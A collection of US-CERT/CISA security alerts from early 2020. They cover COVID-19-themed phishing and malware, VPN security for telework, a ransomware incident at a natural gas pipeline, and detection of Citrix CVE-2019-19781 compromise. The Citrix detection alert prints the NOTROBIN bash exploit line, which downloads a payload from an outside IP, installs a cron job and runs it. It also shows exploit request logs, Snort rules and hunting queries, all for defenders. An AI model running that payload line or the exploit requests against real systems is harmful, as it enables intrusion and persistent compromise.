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AA20-099A: COVID-19 Exploited by Malicious Cyber Actors

US-CERT Security Alerts - Wed, 04/08/2020 - 04:00
Original release date: April 8, 2020

This is a joint alert from the United States Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA) and the United Kingdom’s National Cyber Security Centre (NCSC).

This alert provides information on exploitation by cybercriminal and advanced persistent threat (APT) groups of the current coronavirus disease 2019 (COVID-19) global pandemic. It includes a non-exhaustive list of indicators of compromise (IOCs) for detection as well as mitigation advice.

Both CISA and NCSC are seeing a growing use of COVID-19-related themes by malicious cyber actors. At the same time, the surge in teleworking has increased the use of potentially vulnerable services, such as virtual private networks (VPNs), amplifying the threat to individuals and organizations.

APT groups and cybercriminals are targeting individuals, small and medium enterprises, and large organizations with COVID-19-related scams and phishing emails. This alert provides an overview of COVID-19-related malicious cyber activity and offers practical advice that individuals and organizations can follow to reduce the risk of being impacted. The IOCs provided within the accompanying .csv and .stix files of this alert are based on analysis from CISA, NCSC, and industry.

Note: this is a fast-moving situation and this alert does not seek to catalogue all COVID-19-related malicious cyber activity. Individuals and organizations should remain alert to increased activity relating to COVID-19 and take proactive steps to protect themselves.

Technical DetailsSummary of Attacks

APT groups are using the COVID-19 pandemic as part of their cyber operations. These cyber threat actors will often masquerade as trusted entities. Their activity includes using coronavirus-themed phishing messages or malicious applications, often masquerading as trusted entities that may have been previously compromised. Their goals and targets are consistent with long-standing priorities such as espionage and “hack-and-leak” operations.

Cybercriminals are using the pandemic for commercial gain, deploying a variety of ransomware and other malware.

Both APT groups and cybercriminals are likely to continue to exploit the COVID-19 pandemic over the coming weeks and months. Threats observed include:

  • Phishing, using the subject of coronavirus or COVID-19 as a lure,
  • Malware distribution, using coronavirus- or COVID-19- themed lures,
  • Registration of new domain names containing wording related to coronavirus or COVID-19, and
  • Attacks against newly—and often rapidly—deployed remote access and teleworking infrastructure.

Malicious cyber actors rely on basic social engineering methods to entice a user to carry out a specific action. These actors are taking advantage of human traits such as curiosity and concern around the coronavirus pandemic in order to persuade potential victims to:

  • Click on a link or download an app that may lead to a phishing website, or the downloading of malware, including ransomware.
    • For example, a malicious Android app purports to provide a real-time coronavirus outbreak tracker but instead attempts to trick the user into providing administrative access to install "CovidLock" ransomware on their device.[1]
  • Open a file (such as an email attachment) that contains malware.
    • For example, email subject lines contain COVID-19-related phrases such as “Coronavirus Update” or “2019-nCov: Coronavirus outbreak in your city (Emergency)”

To create the impression of authenticity, malicious cyber actors may spoof sender information in an email to make it appear to come from a trustworthy source, such as the World Health Organization (WHO) or an individual with “Dr.” in their title. In several examples, actors send phishing emails that contain links to a fake email login page. Other emails purport to be from an organization’s human resources (HR) department and advise the employee to open the attachment.

Malicious file attachments containing malware payloads may be named with coronavirus- or COVID-19-related themes, such as “President discusses budget savings due to coronavirus with Cabinet.rtf.”

Note: a non-exhaustive list of IOCs related to this activity is provided within the accompanying .csv and .stix files of this alert.


CISA and NCSC have both observed a large volume of phishing campaigns that use the social engineering techniques described above.

Examples of phishing email subject lines include:

  • 2020 Coronavirus Updates,
  • Coronavirus Updates,
  • 2019-nCov: New confirmed cases in your City, and
  • 2019-nCov: Coronavirus outbreak in your city (Emergency).

These emails contain a call to action, encouraging the victim to visit a website that malicious cyber actors use for stealing valuable data, such as usernames and passwords, credit card information, and other personal information.

SMS Phishing

Most phishing attempts come by email but NCSC has observed some attempts to carry out phishing by other means, including text messages (SMS).

Historically, SMS phishing has often used financial incentives—including government payments and rebates (such as a tax rebate)—as part of the lure. Coronavirus-related phishing continues this financial theme, particularly in light of the economic impact of the epidemic and governments’ employment and financial support packages. For example, a series of SMS messages uses a UK government-themed lure to harvest email, address, name, and banking information. These SMS messages—purporting to be from “COVID” and “UKGOV” (see figure 1)—include a link directly to the phishing site (see figure 2).

Figure 1: UK government-themed SMS phishing


Figure 2: UK government-themed phishing page

As this example demonstrates, malicious messages can arrive by methods other than email. In addition to SMS, possible channels include WhatsApp and other messaging services. Malicious cyber actors are likely to continue using financial themes in their phishing campaigns. Specifically, it is likely that they will use new government aid packages responding to COVID-19 as themes in phishing campaigns.

Phishing for credential theft

A number of actors have used COVID-19-related phishing to steal user credentials. These emails include previously mentioned COVID-19 social engineering techniques, sometimes complemented with urgent language to enhance the lure.

If the user clicks on the hyperlink, a spoofed login webpage appears that includes a password entry form. These spoofed login pages may relate to a wide array of online services including—but not limited to—email services provided by Google or Microsoft, or services accessed via government websites.

To further entice the recipient, the websites will often contain COVID-19-related wording within the URL (e.g., “corona-virus-business-update,” “covid19-advisory,” or “cov19esupport”). These spoofed pages are designed to look legitimate or accurately impersonate well-known websites. Often the only way to notice malicious intent is through examining the website URL. In some circumstances, malicious cyber actors specifically customize these spoofed login webpages for the intended victim.

If the victim enters their password on the spoofed page, the attackers will be able to access the victim’s online accounts, such as their email inbox. This access can then be used to acquire personal or sensitive information, or to further disseminate phishing emails, using the victim’s address book.

Phishing for malware deployment

A number of threat actors have used COVID-19-related lures to deploy malware. In most cases, actors craft an email that persuades the victim to open an attachment or download a malicious file from a linked website. When the victim opens the attachment, the malware is executed, compromising the victim’s device.

For example, NCSC has observed various email messages that deploy the “Agent Tesla” keylogger malware. The email appears to be sent from Dr. Tedros Adhanom Ghebreyesus, Director-General of WHO. This email campaign began on Thursday, March 19, 2020. Another similar campaign offers thermometers and face masks to fight the epidemic. The email purports to attach images of these medical products but instead contains a loader for Agent Tesla.

In other campaigns, emails include a Microsoft Excel attachment (e.g., “8651 8-14-18.xls”) or contain URLs linking to a landing page that contains a button that—if clicked—redirects to download an Excel spreadsheet, such as "EMR Letter.xls”. In both cases, the Excel file contains macros that, if enabled, execute an embedded dynamic-link library (DLL) to install the “Get2 loader" malware. Get2 loader has been observed loading the “GraceWire” Trojan.

The "TrickBot" malware has been used in a variety of COVID-19-related campaigns. In one example, emails target Italian users with a document purporting to be information related to COVID-19 (see figure 3). The document contains a malicious macro that downloads a batch file (BAT), which launches JavaScript, which—in turn—pulls down the TrickBot binary, executing it on the system.

Figure 3: Email containing malicious macro targeting Italian users[2]

In many cases, Trojans—such as Trickbot or GraceWire—will download further malicious files, such as Remote Access Trojans (RATs), desktop-sharing clients, and ransomware. In order to maximize the likelihood of payment, cybercriminals will often deploy ransomware at a time when organizations are under increased pressure. Hospitals and health organizations in the United States,[3] Spain,[4] and across Europe[5] have all been recently affected by ransomware incidents.

As always, individuals and organizations should be on the lookout for new and evolving lures. Both CISA[6],[7] and NCSC[8] provide guidance on mitigating malware and ransomware attacks.

Exploitation of new teleworking infrastructure

Many organizations have rapidly deployed new networks, including VPNs and related IT infrastructure, to shift their entire workforce to teleworking.

Malicious cyber actors are taking advantage of this mass move to telework by exploiting a variety of publicly known vulnerabilities in VPNs and other remote working tools and software. In several examples, CISA and NCSC have observed actors scanning for publicly known vulnerabilities in Citrix. Citrix vulnerability, CVE-2019-19781, and its exploitation have been widely reported since early January 2020. Both CISA[9] and NCSC[10] provide guidance on CVE-2019-19781 and continue to investigate multiple instances of this vulnerability's exploitation.

Similarly, known vulnerabilities affecting VPN products from Pulse Secure, Fortinet, and Palo Alto continue to be exploited. CISA provides guidance on the Pulse Secure vulnerability[11] and NCSC provides guidance on the vulnerabilities in Pulse Secure, Fortinet, and Palo Alto.[12]

Malicious cyber actors are also seeking to exploit the increased use of popular communications platforms—such as Zoom or Microsoft Teams—by sending phishing emails that include malicious files with names such as “zoom-us-zoom_##########.exe” and “microsoft-teams_V#mu#D_##########.exe” (# representing various digits that have been reported online).[13] CISA and NCSC have also observed phishing websites for popular communications platforms. In addition, attackers have been able to hijack teleconferences and online classrooms that have been set up without security controls (e.g., passwords) or with unpatched versions of the communications platform software.[14]

The surge in teleworking has also led to an increase in the use of Microsoft’s Remote Desktop Protocol (RDP). Attacks on unsecured RDP endpoints (i.e., exposed to the internet) are widely reported online,[15] and recent analysis[16] has identified a 127% increase in exposed RDP endpoints. The increase in RDP use could potentially make IT systems—without the right security measures in place—more vulnerable to attack.[17]

Indicators of compromise

CISA and NCSC are working with law enforcement and industry partners to disrupt or prevent these malicious cyber activities and have published a non-exhaustive list of COVID-19-related IOCs via the following links:

In addition, there are a number of useful publicly available resources that provide details of COVID-19-related malicious cyber activity:



Malicious cyber actors are continually adjusting their tactics to take advantage of new situations, and the COVID-19 pandemic is no exception. Malicious cyber actors are using the high appetite for COVID-19-related information as an opportunity to deliver malware and ransomware, and to steal user credentials. Individuals and organizations should remain vigilant. For information regarding the COVID-19 pandemic, use trusted resources, such as the Centers for Disease Control and Prevention (CDC)’s COVID-19 Situation Summary.

Following the CISA and NCSC advice set out below will help mitigate the risk to individuals and organizations from malicious cyber activity related to both COVID-19 and other themes:

Phishing guidance for individuals

The NCSC’s suspicious email guidance explains what to do if you've already clicked on a potentially malicious email, attachment, or link. It provides advice on who to contact if your account or device has been compromised and some of the mitigation steps you can take, such as changing your passwords. It also offers NCSC's top tips for spotting a phishing email:

  • Authority – Is the sender claiming to be from someone official (e.g., your bank or doctor, a lawyer, a government agency)? Criminals often pretend to be important people or organizations to trick you into doing what they want.
  • Urgency – Are you told you have a limited time to respond (e.g., in 24 hours or immediately)? Criminals often threaten you with fines or other negative consequences.
  • Emotion – Does the message make you panic, fearful, hopeful, or curious? Criminals often use threatening language, make false claims of support, or attempt to tease you into wanting to find out more.
  • Scarcity – Is the message offering something in short supply (e.g., concert tickets, money, or a cure for medical conditions)? Fear of missing out on a good deal or opportunity can make you respond quickly.
Phishing guidance for organizations and cybersecurity professionals

Organizational defenses against phishing often rely exclusively on users being able to spot phishing emails. However, organizations that widen their defenses to include more technical measures can improve resilience against phishing attacks.

In addition to educating users on defending against these attacks, organizations should consider NCSC’s guidance that splits mitigations into four layers, on which to build defenses:

  1. Make it difficult for attackers to reach your users.
  2. Help users identify and report suspected phishing emails (see CISA Tips, Using Caution with Email Attachments and Avoiding Social Engineering and Phishing Scams).
  3. Protect your organization from the effects of undetected phishing emails.
  4. Respond quickly to incidents.

CISA and NCSC also recommend organizations plan for a percentage of phishing attacks to be successful. Planning for these incidents will help minimize the damage caused.

Communications platforms guidance for individuals and organizations

Due to COVID-19, an increasing number of individuals and organizations are turning to communications platforms—such as Zoom and Microsoft Teams— for online meetings. In turn, malicious cyber actors are hijacking online meetings that are not secured with passwords or that use unpatched software.

Tips for defending against online meeting hijacking (Source: FBI Warns of Teleconferencing and Online Classroom Hijacking During COVID-19 Pandemic, FBI press release, March 30, 2020):

  • Do not make meetings public. Instead, require a meeting password or use the waiting room feature and control the admittance of guests.
  • Do not share a link to a meeting on an unrestricted publicly available social media post. Provide the link directly to specific people.
  • Manage screensharing options. Change screensharing to “Host Only.”
  • Ensure users are using the updated version of remote access/meeting applications.
  • Ensure telework policies address requirements for physical and information security.

This report draws on information derived from CISA, NCSC, and industry sources. Any findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.

CISA does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by CISA.

References Revisions
  • April 8, 2020: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: Security Alerts

AA20-073A: Enterprise VPN Security

US-CERT Security Alerts - Fri, 03/13/2020 - 04:08
Original release date: March 13, 2020

As organizations prepare for possible impacts of Coronavirus Disease 2019 (COVID-19), many may consider alternate workplace options for their employees. Remote work options—or telework—require an enterprise virtual private network (VPN) solution to connect employees to an organization’s information technology (IT) network. As organizations elect to implement telework, the Cybersecurity and Infrastructure Security Agency (CISA) encourages organizations to adopt a heightened state of cybersecurity.

Technical Details

The following are cybersecurity considerations regarding telework.

  • As organizations use VPNs for telework, more vulnerabilities are being found and targeted by malicious cyber actors.
  • As VPNs are 24/7, organizations are less likely to keep them updated with the latest security updates and patches.
  • Malicious cyber actors may increase phishing emails targeting teleworkers to steal their usernames and passwords.
  • Organizations that do not use multi-factor authentication (MFA) for remote access are more susceptible to phishing attacks.
  • Organizations may have a limited number of VPN connections, after which point no other employee can telework. With decreased availability, critical business operations may suffer, including IT security personnel’s ability to perform cybersecurity tasks.

CISA encourages organizations to review the following recommendations when considering alternate workplace options.

  • Update VPNs, network infrastructure devices, and devices being used to remote into work environments with the latest software patches and security configurations. See CISA Tips Understanding Patches and Securing Network Infrastructure Devices.
  • Alert employees to an expected increase in phishing attempts. See CISA Tip Avoiding Social Engineering and Phishing Attacks.
  • Ensure IT security personnel are prepared to ramp up the following remote access cybersecurity tasks: log review, attack detection, and incident response and recovery. Per the National Institute of Standards and Technology (NIST) Special Publication 800-46 v.2, Guide to Enterprise Telework, Remote Access, and Bring Your Own Device (BYOD) Security, these tasks should be documented in the configuration management policy.
  • Implement MFA on all VPN connections to increase security. If MFA is not implemented, require teleworkers to use strong passwords. (See CISA Tips Choosing and Protecting Passwords and Supplementing Passwords for more information.)
  • Ensure IT security personnel test VPN limitations to prepare for mass usage and, if possible, implement modifications—such as rate limiting—to prioritize users that will require higher bandwidths.
  • Contact CISA to report incidents, phishing, malware, and other cybersecurity concerns.
References Revisions
  • March 13, 2020: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: Security Alerts

AA20-049A: Ransomware Impacting Pipeline Operations

US-CERT Security Alerts - Tue, 02/18/2020 - 05:06
Original release date: February 18, 2020

Note: This Activity Alert uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK™) framework. See the MITRE ATT&CK for Enterprise and ATT&CK for Industrial Control Systems (ICS) frameworks for all referenced threat actor techniques and mitigations.

The Cybersecurity and Infrastructure Security Agency (CISA) encourages asset owner operators across all critical infrastructure sectors to review the below threat actor techniques and ensure the corresponding mitigations are applied.

CISA responded to a cyberattack affecting control and communication assets on the operational technology (OT) network of a natural gas compression facility. A cyber threat actor used a Spearphishing Link [T1192] to obtain initial access to the organization’s information technology (IT) network before pivoting to its OT network. The threat actor then deployed commodity ransomware to Encrypt Data for Impact [T1486] on both networks. Specific assets experiencing a Loss of Availability [T826] on the OT network included human machine interfaces (HMIs), data historians, and polling servers. Impacted assets were no longer able to read and aggregate real-time operational data reported from low-level OT devices, resulting in a partial Loss of View [T829] for human operators. The attack did not impact any programmable logic controllers (PLCs) and at no point did the victim lose control of operations. Although the victim’s emergency response plan did not specifically consider cyberattacks, the decision was made to implement a deliberate and controlled shutdown to operations. This lasted approximately two days, resulting in a Loss of Productivity and Revenue [T828], after which normal operations resumed. CISA is providing this Alert to help administrators and network defenders protect their organizations against this and similar ransomware attacks.

Technical DetailsNetwork and Assets
  • The victim failed to implement robust segmentation between the IT and OT networks, which allowed the adversary to traverse the IT-OT boundary and disable assets on both networks.
  • The threat actor used commodity ransomware to compromise Windows-based assets on both the IT and OT networks. Assets impacted on the organization’s OT network included HMIs, data historians, and polling servers.
  • Because the attack was limited to Windows-based systems, PLCs responsible for directly reading and manipulating physical processes at the facility were not impacted.
  • The victim was able to obtain replacement equipment and load last-known-good configurations to facilitate the recovery process.
  • All OT assets directly impacted by the attack were limited to a single geographic facility.
Planning and Operations
  • At no time did the threat actor obtain the ability to control or manipulate operations. The victim took offline the HMIs that read and control operations at the facility. A separate and geographically distinct central control office was able to maintain visibility but was not instrumented for control of operations.
  • The victim’s existing emergency response plan focused on threats to physical safety and not cyber incidents. Although the plan called for a full emergency declaration and immediate shutdown, the victim judged the operational impact of the incident as less severe than those anticipated by the plan and decided to implement limited emergency response measures. These included a four-hour transition from operational to shutdown mode combined with increased physical security.
  • Although the direct operational impact of the cyberattack was limited to one control facility, geographically distinct compression facilities also had to halt operations because of pipeline transmission dependencies. This resulted in an operational shutdown of the entire pipeline asset lasting approximately two days.
  • Although they considered a range of physical emergency scenarios, the victim’s emergency response plan did not specifically consider the risk posed by cyberattacks. Consequently, emergency response exercises also failed to provide employees with decision-making experience in dealing with cyberattacks.
  • The victim cited gaps in cybersecurity knowledge and the wide range of possible scenarios as reasons for failing to adequately incorporate cybersecurity into emergency response planning.

Asset owner operators across all sectors are encouraged to consider the following mitigations using a risk-based assessment strategy.

Planning and Operational Mitigations
  • Ensure the organization’s emergency response plan considers the full range of potential impacts that cyberattacks pose to operations, including loss or manipulation of view, loss or manipulation of control, and loss of safety. In particular, response playbooks should identify criteria to distinguish between events requiring deliberate operational shutdown versus low-risk events that allow for operations to continue.
  • Exercise the ability to fail over to alternate control systems, including manual operation while assuming degraded electronic communications. Capture lessons learned in emergency response playbooks.
  • Allow employees to gain decision-making experience via tabletop exercises that incorporate loss of visibility and control scenarios. Capture lessons learned in emergency response playbooks.
  • Identify single points of failure (technical and human) for operational visibility. Develop and test emergency response playbooks to ensure there are redundant channels that allow visibility into operations when one channel is compromised.
  • Implement redundant communication capabilities between geographically separated facilities responsible for the operation of a single pipeline asset. Coordinate planning activities across all such facilities.
  • Recognize the physical risks that cyberattacks pose to safety and integrate cybersecurity into the organization’s safety training program.
  • Ensure the organization’s security program and emergency response plan consider third parties with legitimate need for OT network access, including engineers and vendors.
Technical and Architectural Mitigations
  • Implement and ensure robust Network Segmentation [M1030] between IT and OT networks to limit the ability of adversaries to pivot to the OT network even if the IT network is compromised. Define a demilitarized zone (DMZ) that eliminates unregulated communication between the IT and OT networks.
  • Organize OT assets into logical zones by taking into account criticality, consequence, and operational necessity. Define acceptable communication conduits between the zones and deploy security controls to Filter Network Traffic [M1037] and monitor communications between zones. Prohibit Industrial Control System (ICS) protocols from traversing the IT network.
  • Require Multi-Factor Authentication [M1032] to remotely access the OT and IT networks from external sources.
  • Implement regular Data Backup [M1053] procedures on both the IT and OT networks. Ensure that backups are regularly tested and isolated from network connections that could enable the spread of ransomware.
  • Ensure user and process accounts are limited through Account Use Policies [M1036], User Account Control [M1052], and Privileged Account Management [M1026]. Organize access rights based on the principles of least privilege and separation of duties.
  • Enable strong spam filters to prevent phishing emails from reaching end users. Implement a User Training [M1017] program to discourage users from visiting malicious websites or opening malicious attachments. Filter emails containing executable files from reaching end users.
  • Filter Network Traffic [M1037] to prohibit ingress and egress communications with known malicious Internet Protocol (IP) addresses. Prevent users from accessing malicious websites using Uniform Resource Locator (URL) blacklists and/or whitelists.
  • Update Software [M1051], including operating systems, applications, and firmware on IT network assets. Use a risk-based assessment strategy to determine which OT network assets and zones should participate in the patch management program. Consider using a centralized patch management system.
  • Set Antivirus/Antimalware [M1049] programs to conduct regular scans of IT network assets using up-to-date signatures. Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware.  
  • Implement Execution Prevention [M1038] by disabling macro scripts from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Microsoft Office suite applications.
  • Implement Execution Prevention [M1038] via application whitelisting, which only allows systems to execute programs known and permitted by security policy. Implement software restriction policies (SRPs) or other controls to prevent programs from executing from common ransomware locations, such as temporary folders supporting popular internet browsers or compression/decompression programs, including the AppData/LocalAppData folder.
  • Limit Access to Resources over Network [M1035], especially by restricting Remote Desktop Protocol (RDP). If after assessing risks RDP is deemed operationally necessary, restrict the originating sources and require Multi-Factor Authentication [M1032].
Resources Revisions
  • February 18, 2020: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: Security Alerts

AA20-031A: Detecting Citrix CVE-2019-19781

US-CERT Security Alerts - Fri, 01/31/2020 - 10:07
Original release date: January 31, 2020 | Last revised: February 18, 2020

Unknown cyber network exploitation (CNE) actors have successfully compromised numerous organizations that employed vulnerable Citrix devices through a critical vulnerability known as CVE-2019-19781.[1]

Though mitigations were released on the same day Citrix announced CVE-2019-19781, organizations that did not appropriately apply the mitigations were likely to be targeted once exploit code began circulating on the internet a few weeks later.

Compromised systems cannot be remediated by applying software patches that were released to fix the vulnerability. Once CNE actors establish a foothold on an affected device, their presence remains even though the original attack vector has been closed.

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Alert to provide tools and technologies to assist with detecting the presence of these CNE actors. Unpatched systems and systems compromised before the updates were applied remain susceptible to exploitation.

Contact CISA, or the FBI to report an intrusion or to request assistance.


Technical DetailsDetection

CISA has developed the following procedures for detecting a CVE-2019-19781 compromise. 

HTTP Access and Error Log Review

Context: Host Hunt

Type: Methodology

The impacted Citrix products utilize Apache for web server software, and as a result, HTTP access and error logs should be available on the system for review in /var/log. Log files httpaccess.log and httperror.log should both be reviewed for the following Uniform Resource Identifiers (URIs), found in the proof of concept exploit that was released.

  • '*/../vpns/*'
  • '*/vpns/cfg/smb.conf'
  • '*/vpns/portal/scripts/newbm.pl*'
  • '*/vpns/portal/scripts/rmbm.pl*'
  • '*/vpns/portal/scripts/picktheme.pl*'

Note: These URIs were observed in Security Information and Event Management detection content provided by https://github.com/Neo23x0/sigma/blob/master/rules/web/web_citrix_cve_2019_19781_exploit.yml.[2]

Per TrustedSec, a sign of successful exploitation would be a POST request to a URI containing /../ or /vpn, followed by a GET request to an XML file. If any exploitation activity exists—attempted or successful—analysts should be able to identify the attacking Internet Protocol address(es). Tyler Hudak’s blog provided sample logs indicating what a successful attack would look like.[3] - - [10/Jan/2020:13:23:51 +0000] "POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 143 "" "USERAGENT " - - [10/Jan/2020:13:23:53 +0000] "GET /vpn/../vpns/portal/backdoor.xml HTTP/1.1" 200 941 "-" "USERAGENT"

Additionally, FireEye provided the following grep commands to assist with log review and help to identify suspicious activity.[4]

grep -iE 'POST.*\.pl HTTP/1\.1\" 200 ' /var/log/httpaccess.log -A 1 grep -iE 'GET.*\.xml HTTP/1\.1\" 200' /var/log/httpaccess.log -B 1 Running Processes Review

Context: Host Hunt

Type: Methodology

Reviewing the running processes on a system suspected of compromise for processes running under the nobody user can identify potential backdoors.

ps auxd | grep nobody

Analysts should review the ps output for suspicious entries such as this:

nobody    63390  0.0  0.0  8320    16  ??  I     1:35PM   0:00.00 | | `– sh -c uname & curl -o –

Further pivoting can be completed using the Process ID from the PS output:

lsof -p <pid>

Due to the nature of this exploit, it is likely that any processes related to a backdoor would be running under the httpd process.

Checking for NOTROBIN Presence

Context: Host Hunt

Type: Methodology

pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init; curl -k
hxxps://95.179.163[.]186/wp-content/uploads/2018/09/64d4c2d3ee56af4f4ca8171556d50faa -o
/tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo "* * * * *
/var/nstmp/.nscache/httpd" | crontab -; /tmp/.init/httpd &"

The above is the NOTROBIN Bash exploit code. To check for NOTROBIN Presence, analysts should look for the staging directory at /tmp/.init as well as httpd processes running as a cron job.

Running the command find / -name ".init" 2> /tmp/error.log should return the path to the created staging directory while taking all of the errors and creating a file located at /tmp/error.log.

Additional /var/log Review

Context: Host Hunt

Type: Methodology

Analysts should focus on reviewing the following logs in /var/log on the Citrix device, if available. The underlying operating system is based on FreeBSD, and the logs are similar to what would be found on a Linux system. Analysts should focus on log entries related to the nobody user or (null) on and should try to identify any suspicious commands that may have been run, such as whoami or curl. Please keep in mind that logs are rotated and compressed, and additional activity may be found in the archives (.gz files) for each log.


Sample Log Entry:

Jan 10 13:35:47
<local7.notice> ns bash[63394]: nobody on /dev/pts/3

Note: The bash log can provide the user (nobody), command (hostname), and process id (63394) related to the nefarious activity.



Check Crontab for Persistence

Context: Host Hunt

Type: Methodology

As with running processes and log entries, any cron jobs created by the user nobody are a cause for concern and likely related to a persistence mechanism established by an attacker. Additionally, search for a httpd process within the crontab to determine if a system has been affected by NOTROBIN. Analysts can review entries on a live system using the following command:

crontab -l -u nobody Existence of Unusual Files

Context: Host Hunt

Type: Methodology

Open-source outlets have reported that during incident response activities, attackers exploiting this vulnerability have been placing malicious files in the following directories. Analysts should review file listings for these directories and determine if any suspicious files are present on the server.

  • /netscaler/portal/templates
  • /var/tmp/netscaler/portal/templates
Snort Alerts

Context: Network Alert

Type: Signatures

Although most activity related to exploitation of the Citrix vulnerability would use SSL, FireEye noted that an HTTP scanner is available to check for the vulnerability. The following Snort rules were provided in FireEye’s blog post and would likely indicate a vulnerable Citrix server.[5] These rules should be tuned for the environment and restricted to the IP addresses of the Citrix server(s) to reduce potential false positives.

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential CVE-2019-19781 vulnerable .CONF response"; flow:established,to_client; content:"HTTP/1."; depth:7; content:"200 OK"; distance:1; content:"|0d0a|Server: Apache"; distance:0; content:"al]|0d0a|"; distance:0; content:"encrypt passwords"; distance:0; content:"name resolve order"; reference:cve,2019-19781; reference:url,https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html; sid:201919781; rev:1;)   alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential CVE-2019-19781 vulnerable .PL response"; flow:established,to_client; content:"HTTP/1."; depth:7;   content:"200 OK"; distance:1; content:"|0d0a|Server: Apache"; distance:0; content:"|0d0a|Connection: Keep-Alive"; content:"|0d0a0d0a3c48544d4c3e0a3c424f44593e0a3c534352495054206c616e67756167653d6   a61766173637269707420747970653d746578742f6a6176617363726970743e0a2f2f706172656e74   2e77696e646f772e6e735f72656c6f616428293b0a77696e646f772e636c6f736528293b0a3c2f534   3524950543e0a3c2f424f44593e0a3c2f48544d4c3e0a|"; reference:cve,2019-19781; reference:url,https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html; sid:201919781; rev:1;) Suspicious Network Traffic

Context: Network Hunt

Type: Methodology

From a network perspective, this vulnerability will likely not be detectable, given that the traffic will likely be encrypted (SSL). Additionally, due to where they sit on networks, devices such as these are typically not covered in traditional network monitoring and ingress traffic to the device may not be part of a normal SPAN port configuration. In the event network monitoring is available and attackers are using HTTP versions of this exploit, CISA recommends looking for URIs containing /../ or /vpns/ to identify potentially malicious activity. It is also worth surveying the traffic for any requests to .xml files or perl (.pl) files as well, as this would not be consistent with normal Citrix web activity. As with the web logs, analysts would be looking for a successful POST request followed by a successful GET request with the aforementioned characteristics.

Given that a compromise occurred, activity to look for would be outbound traffic from the Citrix server, both to internal and external hosts. In theory, if an attacker placed a backdoor on the system, it should be connecting outbound to a command and control server. This traffic would most likely be anomalous (outbound TCP Port 80 or 443), given that one would only expect to see inbound TCP/443 traffic to the Citrix server as normal activity. If an attacker is leveraging a Citrix device as an entry point to an organization, anomalous internal traffic could potentially be visible in bro data such as scanning, file transfers, or lateral movement. An exception to internal traffic is that the Citrix ADC device is much more than just an SSL VPN device and is used for multiple types of load balancing. As a result, an ADC device may be communicating with internal systems legitimately (web servers, file servers, custom applications, etc.).

Inbound Exploitation Activity (Suspicious URIs)

index=bro dest=<CITRIX_IP_ADDR> sourcetype=bro_http uri=*/../* OR uri=*/vpn* OR uri=*.pl OR uri=*.xml

Outbound Traffic Search (Backdoor C2)

index=bro sourcetype=bro_conn src=<CITRIX_IP_ADDR> dest!=<INTERNAL_NET>
| stats count by src dest dest_port
| sort -count

The following resources provide additional detection measures.

  • Citrix and FireEye Mandiant released an IOC scanning tool for CVE-2019-19781.[6] The tool aids customers with detecting potential IOCs based on known attacks and exploits.
  • The National Security Agency released a Cybersecurity Advisory on CVE-2020-19781 with additional detection measures.[7]
  • CISA released a utility that enables users and administrators to detect whether their Citrix ADC and Citrix Gateway firmware is susceptible to CVE-2019-19781.[8]

CVE-2019-19781 is an arbitrary code execution vulnerability that has been detected in exploits in the wild. An attacker can exploit this vulnerability to take control of an affected system.

The vulnerability affects the following appliances:

  • Citrix NetScaler ADC and NetScaler Gateway version 10.5 – all supported builds before
  • Citrix ADC and NetScaler Gateway version 11.1 – all supported builds before
  • Citrix ADC and NetScaler Gateway version 12.0 – all supported builds before
  • Citrix ADC and NetScaler Gateway version 12.1 – all supported builds before
  • Citrix ADC and Citrix Gateway version 13.0 – all supported builds before
  • Citrix SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO – all supported software release builds before 10.2.6b and 11.0.3b. (Citrix SD-WAN WANOP is vulnerable because it packages Citrix ADC as a load balancer).

The resources provided include steps for standalone, HA pairs, and clustered Citrix instances.

Consider deploying a VPN capability using standardized protocols, preferably ones listed on the National Information Assurance Partnership (NIAP) Product Compliant List (PCL), in front of publicly accessible gateway appliances to require user authentication for the VPN before being able to reach these appliances.

CISA's Tip Handling Destructive Malware provides additional information, including best practices and incident response strategies.

References Revisions
  • January 31, 2020: Initial Version
  • February 7, 2020: Added link to the Australian Cyber Security Centre script

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Categories: Security Alerts

AA20-020A: Critical Vulnerability in Citrix Application Delivery Controller, Gateway, and SD-WAN WANOP

US-CERT Security Alerts - Mon, 01/20/2020 - 06:54
Original release date: January 20, 2020 | Last revised: January 27, 2020

Note: As of January 24, 2020, Citrix has released all expected updates in response to CVE-2019-19781.[1] 

On January 19, 2020, Citrix released firmware updates for Citrix Application Delivery Controller (ADC) and Citrix Gateway versions 11.1 and 12.0.
On January 22, 2020, Citrix released security updates for vulnerable SD-WAN WANOP appliances.
On January 23, 2020, Citrix released firmware updates for Citrix ADC and Gateway versions 12.1 and 13.0.
On January 24, 2020, Citrix released firmware updates for Citrix ADC and Gateway version 10.5.

A remote, unauthenticated attacker could exploit CVE-2019-19781 to perform arbitrary code execution.[2] This vulnerability has been detected in exploits in the wild.[3]

The Cybersecurity and Infrastructure Agency (CISA) strongly recommends that all users and administrators upgrade their vulnerable appliances as soon as possible.

Timeline of Specific Events
  • December 17, 2019 – Citrix released Security Bulletin CTX267027 with mitigations steps.
  • January 8, 2020 – The CERT Coordination Center (CERT/CC) released Vulnerability Note VU#619785: Citrix Application Delivery Controller and Citrix Gateway Web Server Vulnerability,[4] and CISA releases a Current Activity entry.[5]
  • January 10, 2020 – The National Security Agency (NSA) released a Cybersecurity Advisory on CVE-2019-19781.[6]
